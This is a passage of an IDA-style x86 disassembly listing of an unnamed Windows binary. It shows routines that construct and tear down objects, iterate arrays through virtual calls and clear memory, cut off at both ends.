arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B4D414
		retn	8
sub_69B6939A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B693AA	proc near		; CODE XREF: sub_69B6940A+48p
					; sub_69B69855+24p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_69B693C2
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B693BE
		call	sub_69B2E6D8


loc_69B693BE:				; CODE XREF: sub_69B693AA+Dj
		and	dword ptr [esi+0Ch], 0


loc_69B693C2:				; CODE XREF: sub_69B693AA+7j
		pop	esi
		retn	4
sub_69B693AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B693C6	proc near		; CODE XREF: sub_69B698EE+3j
					; sub_69B698F6+3j
					; DATA XREF: ...
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+48h]
		call	sub_69B677FE
		push	edi
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		push	edi
		add	esi, 50h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn
sub_69B693C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6940A	proc near		; CODE XREF: sub_69B69484+6p
					; sub_69B69505+9p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+40h]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B6943B
		cmp	[edi+8], ebx
		jg	short loc_69B69422
		call	sub_69B2E6D8


loc_69B69422:				; CODE XREF: sub_69B6940A+11j
		mov	ecx, [esi+38h]
		shl	ecx, 2
		mov	edx, ecx
		shr	ecx, 2
		add	edi, 0Ch
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_69B6943B:				; CODE XREF: sub_69B6940A+Cj
		cmp	[esi+44h], ebx
		jz	short loc_69B69467
		xor	edi, edi
		cmp	[esi+38h], ebx
		jle	short loc_69B6945D


loc_69B69447:				; CODE XREF: sub_69B6940A+51j
		mov	ecx, [esi+44h]
		push	edi
		call	sub_69B1A954
		push	dword ptr [eax]
		call	sub_69B693AA
		inc	edi
		cmp	edi, [esi+38h]
		jl	short loc_69B69447


loc_69B6945D:				; CODE XREF: sub_69B6940A+3Bj
		push	ebx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320


loc_69B69467:				; CODE XREF: sub_69B6940A+34j
		push	ebx
		lea	ecx, [esi+48h]
		mov	[esi+54h], ebx
		mov	[esi+58h], ebx
		call	sub_69B677FE
		push	ebx
		add	esi, 50h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B6940A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69484	proc near		; DATA XREF: .text:69B137FCo
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B6940A
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CCB6
sub_69B69484	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69497	proc near		; DATA XREF: .text:69B13900o
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		lea	ebp, [esi+40h]
		cmp	dword ptr [ebp+0], 0
		push	edi
		jnz	short loc_69B694CF
		mov	ebx, [esi+38h]
		lea	eax, ds:10h[ebx*4]
		push	eax
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], ebx
		call	sub_69B19118
		push	edi
		push	ebp
		mov	dword ptr [edi], offset	off_69B13D68
		call	sub_69B17320


loc_69B694CF:				; CODE XREF: sub_69B69497+Dj
		lea	ebx, [esi+44h]
		cmp	dword ptr [ebx], 0
		jnz	short loc_69B69500
		mov	esi, [esi+38h]
		lea	eax, ds:10h[esi*4]
		push	eax
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], esi
		call	sub_69B19118
		push	edi
		push	ebx
		mov	dword ptr [edi], offset	off_69B1EE00
		call	sub_69B17320


loc_69B69500:				; CODE XREF: sub_69B69497+3Ej
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B69497	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69505	proc near		; DATA XREF: .text:69B13800o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi-10h]
		mov	ecx, esi
		call	sub_69B6940A
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+50h]
		push	[esp+8+arg_8]
		mov	ecx, edi
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B6CD21
		pop	edi
		pop	esi
		retn	0Ch
sub_69B69505	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69532	proc near		; DATA XREF: .text:69B13838o

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	bl, bl
		push	esi
		push	edi
		mov	esi, ecx
		jz	short loc_69B69547
		lea	ecx, [esi-10h]
		call	sub_69B6940A


loc_69B69547:				; CODE XREF: sub_69B69532+Bj
		xor	edi, edi
		cmp	[esi+28h], edi
		jle	short loc_69B69568


loc_69B6954E:				; CODE XREF: sub_69B69532+34j
		mov	ecx, [esi+2Ch]
		push	edi
		call	sub_69B1A954
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+80h]
		inc	edi
		cmp	edi, [esi+28h]
		jl	short loc_69B6954E


loc_69B69568:				; CODE XREF: sub_69B69532+1Aj
		push	ebx
		mov	ecx, esi
		call	sub_69B6CD55
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B69532	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69576	proc near		; DATA XREF: .text:69B1389Co
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+0Ch], edi
		jz	short loc_69B6958B
		call	sub_69B6CA4E
		mov	ebx, eax
		jmp	short loc_69B69590
; ---------------------------------------------------------------------------


loc_69B6958B:				; CODE XREF: sub_69B69576+Aj
		mov	ebx, 30Fh


loc_69B69590:				; CODE XREF: sub_69B69576+13j
		cmp	[esi+30h], edi
		jle	short loc_69B695B4


loc_69B69595:				; CODE XREF: sub_69B69576+3Cj
		mov	ecx, [esi+34h]
		push	edi
		call	sub_69B1A954
		mov	ecx, [eax]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		and	ebx, eax
		inc	edi
		cmp	edi, [esi+30h]
		jl	short loc_69B69595


loc_69B695B4:				; CODE XREF: sub_69B69576+1Dj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B69576	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B695BA	proc near		; DATA XREF: .text:69B13808o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+28h], edi
		jle	short loc_69B695DF


loc_69B695C5:				; CODE XREF: sub_69B695BA+23j
		mov	ecx, [esi+2Ch]
		push	edi
		call	sub_69B1A954
		mov	ecx, [eax]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+50h]
		inc	edi
		cmp	edi, [esi+28h]
		jl	short loc_69B695C5


loc_69B695DF:				; CODE XREF: sub_69B695BA+9j
		pop	edi
		pop	esi
		retn	4
sub_69B695BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B695E4	proc near		; DATA XREF: .text:69B13804o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+28h], edi
		jle	short loc_69B6962C


loc_69B695F2:				; CODE XREF: sub_69B695E4+46j
		mov	ecx, [esi+2Ch]
		push	edi
		call	sub_69B1A954
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jz	short loc_69B69626
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_69B6962E
		mov	edx, [ecx]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [edx+4Ch]
		test	eax, eax
		jnz	short loc_69B6962E


loc_69B69626:				; CODE XREF: sub_69B695E4+29j
		inc	edi
		cmp	edi, [esi+28h]
		jl	short loc_69B695F2


loc_69B6962C:				; CODE XREF: sub_69B695E4+Cj
		xor	eax, eax


loc_69B6962E:				; CODE XREF: sub_69B695E4+30j
					; sub_69B695E4+40j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B695E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B69634	proc near		; DATA XREF: .text:69B13828o

var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B6964A
		fld	ds:dbl_69B296F8
		jmp	short loc_69B69697
; ---------------------------------------------------------------------------


loc_69B6964A:				; CODE XREF: sub_69B69634+Cj
		push	edi
		mov	edi, [esi+2Ch]
		cmp	dword ptr [edi+8], 0
		jg	short loc_69B69659
		call	sub_69B2E6D8


loc_69B69659:				; CODE XREF: sub_69B69634+1Ej
		mov	ecx, [edi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+70h]
		fstp	[ebp+var_8]
		xor	edi, edi
		inc	edi
		cmp	[esi+28h], edi
		jle	short loc_69B69693


loc_69B6966C:				; CODE XREF: sub_69B69634+5Dj
		mov	ecx, [esi+2Ch]
		push	edi
		call	sub_69B1A954
		mov	ecx, [eax]
		mov	eax, [ecx]
		call	dword ptr [eax+70h]
		fcom	[ebp+var_8]
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_69B6968B
		fstp	[ebp+var_8]
		jmp	short loc_69B6968D
; ---------------------------------------------------------------------------


loc_69B6968B:				; CODE XREF: sub_69B69634+50j
		fstp	st


loc_69B6968D:				; CODE XREF: sub_69B69634+55j
		inc	edi
		cmp	edi, [esi+28h]
		jl	short loc_69B6966C


loc_69B69693:				; CODE XREF: sub_69B69634+36j
		fld	[ebp+var_8]
		pop	edi


loc_69B69697:				; CODE XREF: sub_69B69634+14j
		pop	esi
		leave
		retn
sub_69B69634	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6969A	proc near		; CODE XREF: sub_69B6056F+60p
					; sub_69B6056F+90p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+3Ch]
		mov	ecx, [edi]
		mov	eax, [ecx+8]
		cmp	[esi+38h], eax
		jl	short loc_69B696BA
		add	eax, eax
		push	eax
		call	sub_69B6DD38
		push	eax
		push	edi
		call	sub_69B17320


loc_69B696BA:				; CODE XREF: sub_69B6969A+Fj
		push	dword ptr [esi+38h]
		mov	ecx, [edi]
		call	sub_69B1A954
		push	[esp+8+arg_0]
		push	eax
		call	sub_69B17320
		inc	dword ptr [esi+38h]
		pop	edi
		pop	esi
		retn	4
sub_69B6969A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B696D6	proc near		; CODE XREF: sub_69B69855+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+40h]
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B696E9
		call	sub_69B2E6D8


loc_69B696E9:				; CODE XREF: sub_69B696D6+Cj
		lea	ebx, [esi+0Ch]
		cmp	dword ptr [ebx], 0
		mov	esi, ebx
		jz	short loc_69B69718


loc_69B696F3:				; CODE XREF: sub_69B696D6+40j
		mov	eax, [esi]
		mov	ecx, [edi+44h]
		dec	eax
		push	eax
		call	sub_69B1A954
		push	dword ptr [eax]
		push	[esp+10h+arg_4]
		call	sub_69B6D24C
		test	eax, eax
		jl	short loc_69B69727
		jz	short loc_69B6974A
		add	esi, 4
		cmp	dword ptr [esi], 0
		jnz	short loc_69B696F3


loc_69B69718:				; CODE XREF: sub_69B696D6+1Bj
					; sub_69B696D6+72j
		mov	eax, [esp+0Ch+arg_0]
		inc	eax
		mov	[esi], eax
		mov	al, 1


loc_69B69721:				; CODE XREF: sub_69B696D6+76j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_69B69727:				; CODE XREF: sub_69B696D6+36j
		mov	ecx, [edi+38h]
		mov	eax, esi
		sub	eax, ebx
		sar	eax, 2
		sub	ecx, eax
		lea	eax, ds:0FFFFFFFCh[ecx*4]
		push	eax
		lea	eax, [esi+4]
		push	esi
		push	eax
		call	sub_69B22103
		add	esp, 0Ch
		jmp	short loc_69B69718
; ---------------------------------------------------------------------------


loc_69B6974A:				; CODE XREF: sub_69B696D6+38j
		xor	al, al
		jmp	short loc_69B69721
sub_69B696D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6974E	proc near		; DATA XREF: .text:69B13834o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	esi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	ecx, [esi+28h]
		mov	[eax+38h], ecx
		mov	ebx, [esi+28h]
		mov	[ebp+var_C], eax
		lea	eax, ds:10h[ebx*4]
		push	eax
		call	sub_69B17EF3
		mov	edi, eax
		mov	ecx, edi
		mov	[edi+8], ebx
		call	sub_69B19118
		and	[ebp+var_4], 0
		mov	dword ptr [edi], offset	off_69B1F680
		cmp	dword ptr [esi+28h], 0
		jle	short loc_69B697D5


loc_69B6979D:				; CODE XREF: sub_69B6974E+85j
		push	[ebp+var_4]
		mov	ecx, [esi+2Ch]
		call	sub_69B1A954
		push	[ebp+var_4]
		mov	ebx, [eax]
		mov	ecx, edi
		call	sub_69B1A954
		push	[ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+7Ch]
		push	eax
		push	[ebp+var_8]
		call	sub_69B17320
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [esi+28h]
		jl	short loc_69B6979D


loc_69B697D5:				; CODE XREF: sub_69B6974E+4Dj
		push	edi
		mov	edi, [ebp+var_C]
		lea	eax, [edi+3Ch]
		push	eax
		call	sub_69B17320
		xor	eax, eax
		mov	al, [esi+0Ch]
		and	eax, 1
		mov	[edi+48h], eax
		cmp	dword ptr [esi+8], 0
		jz	short loc_69B697FA
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+50h]


loc_69B697FA:				; CODE XREF: sub_69B6974E+A3j
		lea	eax, [edi+10h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B6974E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69804	proc near		; DATA XREF: .text:69B138FCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+38h], edi
		jle	short loc_69B69834


loc_69B6980F:				; CODE XREF: sub_69B69804+2Ej
		mov	ecx, [esi+3Ch]
		push	edi
		call	sub_69B1A954
		mov	ecx, [eax]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		push	[esp+8+arg_4]
		mov	edx, [eax]
		push	[esp+0Ch+arg_0]
		mov	ecx, eax
		call	dword ptr [edx+5Ch]
		inc	edi
		cmp	edi, [esi+38h]
		jl	short loc_69B6980F


loc_69B69834:				; CODE XREF: sub_69B69804+9j
		pop	edi
		pop	esi
		retn	8
sub_69B69804	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69839	proc near		; DATA XREF: .text:69B1382Co

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B6969A
		lea	eax, [esi-10h]
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn	4
sub_69B69839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B69855	proc near		; CODE XREF: sub_69B69A46+60p
					; sub_69B69AE5+D3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	edi
		mov	edi, ecx
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B698C5
		push	esi


loc_69B6986B:				; CODE XREF: sub_69B69855+6Dj
		push	[ebp+arg_0]
		mov	ecx, [edi+44h]
		call	sub_69B1A954
		mov	esi, [eax]
		push	esi
		call	sub_69B693AA
		mov	eax, [ebx]
		push	esi
		mov	ecx, ebx
		call	dword ptr [eax+60h]
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_69B698A1
		push	[ebp+arg_0]
		mov	ecx, [edi+44h]
		call	sub_69B1A954
		push	[ebp+arg_4]
		push	eax
		call	sub_69B17320


loc_69B698A1:				; CODE XREF: sub_69B69855+36j
		push	[ebp+arg_4]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_69B696D6
		test	al, al
		jnz	short loc_69B698C4
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+40h]
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jnz	short loc_69B6986B


loc_69B698C4:				; CODE XREF: sub_69B69855+5Bj
		pop	esi


loc_69B698C5:				; CODE XREF: sub_69B69855+13j
		pop	edi
		pop	ebx
		pop	ebp
		retn	8
sub_69B69855	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B698CB	proc near		; DATA XREF: .text:69B12BF8o
					; .text:69B1384Co ...
		mov	al, 1
		retn
sub_69B698CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B698CE	proc near		; DATA XREF: .text:69B1385Co

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B69976
sub_69B698CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B698D6	proc near		; DATA XREF: .text:69B1386Co
		sub	ecx, 8
		jmp	sub_69B69363
sub_69B698D6	endp

; ---------------------------------------------------------------------------


loc_69B698DE:				; DATA XREF: .text:69B137C4o
		sub	ecx, 10h
		jmp	sub_69B69976
; ---------------------------------------------------------------------------


loc_69B698E6:				; DATA XREF: .text:69B137D4o
		sub	ecx, 10h
		jmp	sub_69B69363

; =============== S U B	R O U T	I N E =======================================



sub_69B698EE	proc near		; DATA XREF: .text:69B13884o
		sub	ecx, 8
		jmp	sub_69B693C6
sub_69B698EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B698F6	proc near		; DATA XREF: .text:69B137ECo
		sub	ecx, 10h
		jmp	sub_69B693C6
sub_69B698F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B698FE	proc near		; CODE XREF: sub_69B699F2+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_8]
		mov	esi, ecx
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B6D314
		movzx	eax, byte ptr [esp+4+arg_8]
		mov	dword ptr [esi], offset	off_69B138B0
		mov	dword ptr [esi+8], offset off_69B13850
		mov	dword ptr [esi+10h], offset off_69B137B8
		mov	[esi+48h], eax
		and	dword ptr [esi+4Ch], 0
		and	dword ptr [esi+50h], 0
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B698FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6993C	proc near		; CODE XREF: sub_69B699DA+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B138B0
		mov	dword ptr [esi+8], offset off_69B13850
		mov	dword ptr [esi+10h], offset off_69B137B8
		mov	[esi+3Ch], eax
		mov	[esi+40h], eax
		mov	[esi+44h], eax
		mov	[esi+48h], eax
		mov	[esi+4Ch], eax
		mov	[esi+50h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6993C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69976	proc near		; CODE XREF: sub_69B698CE+3j
					; .text:69B698E1j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B69991
		test	[esp+4+arg_0], 1
		jz	short loc_69B6998B
		push	esi
		call	sub_69B1829F


loc_69B6998B:				; CODE XREF: sub_69B69976+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B69976	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69991	proc near		; CODE XREF: sub_69B69976+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		test	byte ptr [eax],	1
		jz	short loc_69B699B7
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B699B7:				; CODE XREF: sub_69B69991+1Bj
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B69991	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B699DA	proc near		; DATA XREF: .text:69B69370o
		push	5Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B699EF
		push	0
		mov	ecx, eax
		call	sub_69B6993C
		retn
; ---------------------------------------------------------------------------


loc_69B699EF:				; CODE XREF: sub_69B699DA+9j
		xor	eax, eax
		retn
sub_69B699DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B699F2	proc near		; CODE XREF: sub_69B6056F+46p
					; sub_69B63C59+37p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		push	5Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B69A16
		push	[esp+8+arg_8]
		mov	ecx, eax
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_69B698FE
		mov	edi, eax
		jmp	short loc_69B69A18
; ---------------------------------------------------------------------------


loc_69B69A16:				; CODE XREF: sub_69B699F2+Bj
		xor	edi, edi


loc_69B69A18:				; CODE XREF: sub_69B699F2+22j
		push	20h
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	dword ptr [esi+8], 4
		call	sub_69B19118
		push	esi
		lea	eax, [edi+3Ch]
		push	eax
		mov	dword ptr [esi], offset	off_69B1F680
		call	sub_69B17320
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
sub_69B699F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69A46	proc near		; CODE XREF: sub_69B69AE5+53p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+40h]
		cmp	dword ptr [edi+8], 0
		mov	[esp+10h+var_4], edi
		jg	short loc_69B69A5E
		call	sub_69B2E6D8


loc_69B69A5E:				; CODE XREF: sub_69B69A46+11j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	eax, eax
		mov	[esp+10h+var_8], eax
		jz	short loc_69B69ADC
		push	ebx
		push	ebp


loc_69B69A6F:				; CODE XREF: sub_69B69A46+92j
		mov	eax, [esi+54h]
		cmp	eax, [esi+38h]
		jge	short loc_69B69ABA
		lea	ebx, [esi+10h]


loc_69B69A7A:				; CODE XREF: sub_69B69A46+6Ej
		push	dword ptr [esi+54h]
		mov	ecx, [esi+3Ch]
		call	sub_69B1A954
		mov	edi, [eax]
		mov	eax, [ebx]
		mov	ebp, [edi]
		mov	ecx, ebx
		call	dword ptr [eax+84h]
		mov	ecx, edi
		push	eax
		push	[esp+1Ch+var_8]
		push	dword ptr [esi+18h]
		call	dword ptr [ebp+48h]
		push	edi
		push	dword ptr [esi+54h]
		mov	ecx, esi
		call	sub_69B69855
		inc	dword ptr [esi+54h]
		mov	eax, [esi+54h]
		cmp	eax, [esi+38h]
		jl	short loc_69B69A7A
		mov	edi, [esp+18h+var_4]


loc_69B69ABA:				; CODE XREF: sub_69B69A46+2Fj
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_69B69ADA
		mov	ecx, esi
		call	sub_69B65903
		and	dword ptr [esi+54h], 0
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	eax, eax
		mov	[esp+18h+var_8], eax
		jnz	short loc_69B69A6F


loc_69B69ADA:				; CODE XREF: sub_69B69A46+78j
		pop	ebp
		pop	ebx


loc_69B69ADC:				; CODE XREF: sub_69B69A46+25j
		mov	eax, [esp+10h+var_8]
		pop	edi
		pop	esi
		pop	ecx
		pop	ecx
		retn
sub_69B69A46	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69AE5	proc near		; DATA XREF: .text:69B138F4o
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+40h]
		xor	ebx, ebx
		cmp	edi, ebx
		jnz	short loc_69B69AFA
		xor	eax, eax
		jmp	loc_69B69BCF
; ---------------------------------------------------------------------------


loc_69B69AFA:				; CODE XREF: sub_69B69AE5+Cj
		cmp	[edi+8], ebx
		jg	short loc_69B69B04
		call	sub_69B2E6D8


loc_69B69B04:				; CODE XREF: sub_69B69AE5+18j
		push	ebp
		lea	ebp, [esi+48h]
		add	edi, 0Ch
		test	dword ptr [ebp+0], 0FFFFFFFEh
		jnz	loc_69B69BB0
		cmp	[edi], ebx
		jz	short loc_69B69B24
		mov	eax, [esi+54h]
		cmp	eax, [esi+38h]
		jge	short loc_69B69B45


loc_69B69B24:				; CODE XREF: sub_69B69AE5+35j
		mov	eax, [esi+54h]
		cmp	eax, [esi+38h]
		jnz	short loc_69B69B36
		mov	ecx, esi
		call	sub_69B65903
		mov	[esi+54h], ebx


loc_69B69B36:				; CODE XREF: sub_69B69AE5+45j
		mov	ecx, esi
		call	sub_69B69A46
		test	eax, eax
		jz	loc_69B69BCE


loc_69B69B45:				; CODE XREF: sub_69B69AE5+3Dj
		mov	eax, [edi]
		mov	ecx, [esi+3Ch]
		dec	eax
		push	eax
		mov	[esi+58h], eax
		lea	ebx, [esi+50h]
		call	sub_69B1A954
		push	eax
		mov	ecx, ebx
		call	sub_69B4D414
		mov	ecx, [ebx]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, ebp
		call	sub_69B677FE
		lea	ebx, [esi+4Ch]
		push	dword ptr [ebx]
		call	sub_69B693AA
		push	dword ptr [esi+58h]
		mov	ecx, [esi+44h]
		call	sub_69B1A954
		mov	eax, [eax]
		mov	ecx, [ebx]
		push	eax
		push	ecx
		call	sub_69B6D2B6
		push	eax
		push	ebx
		call	sub_69B17320
		mov	eax, [esi+38h]
		dec	eax
		mov	ebx, eax
		shl	ebx, 2
		push	ebx
		lea	eax, [edi+4]
		push	eax
		push	edi
		call	sub_69B22103
		add	esp, 0Ch
		and	dword ptr [ebx+edi], 0


loc_69B69BB0:				; CODE XREF: sub_69B69AE5+2Dj
		push	dword ptr [esi+50h]
		mov	ecx, esi
		push	dword ptr [esi+58h]
		call	sub_69B69855
		mov	esi, [ebp+0]
		push	0
		mov	ecx, ebp
		and	esi, 0FFFFFFFEh
		call	sub_69B677FE
		mov	eax, esi


loc_69B69BCE:				; CODE XREF: sub_69B69AE5+5Aj
		pop	ebp


loc_69B69BCF:				; CODE XREF: sub_69B69AE5+10j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B69AE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69BD3	proc near		; CODE XREF: sub_69B69C68+3j
					; DATA XREF: .text:69B15844o
		mov	eax, offset off_69B69BDC
		retn
sub_69B69BD3	endp

; ---------------------------------------------------------------------------
		align 4
off_69B69BDC	dd offset off_69B29C74	; DATA XREF: sub_69B69BD3o
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B69BE4	proc near		; DATA XREF: .text:69B15814o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+4Ch]
		mov	ecx, [esi+0Ch]
		test	ecx, ecx
		mov	edi, eax
		jz	short loc_69B69C00
		mov	eax, [ecx]
		call	dword ptr [eax+4Ch]
		and	edi, eax


loc_69B69C00:				; CODE XREF: sub_69B69BE4+13j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B69BE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69C05	proc near		; DATA XREF: .text:69B15860o
		mov	eax, [ecx+18h]
		dec	eax
		jz	short loc_69B69C3B
		dec	eax
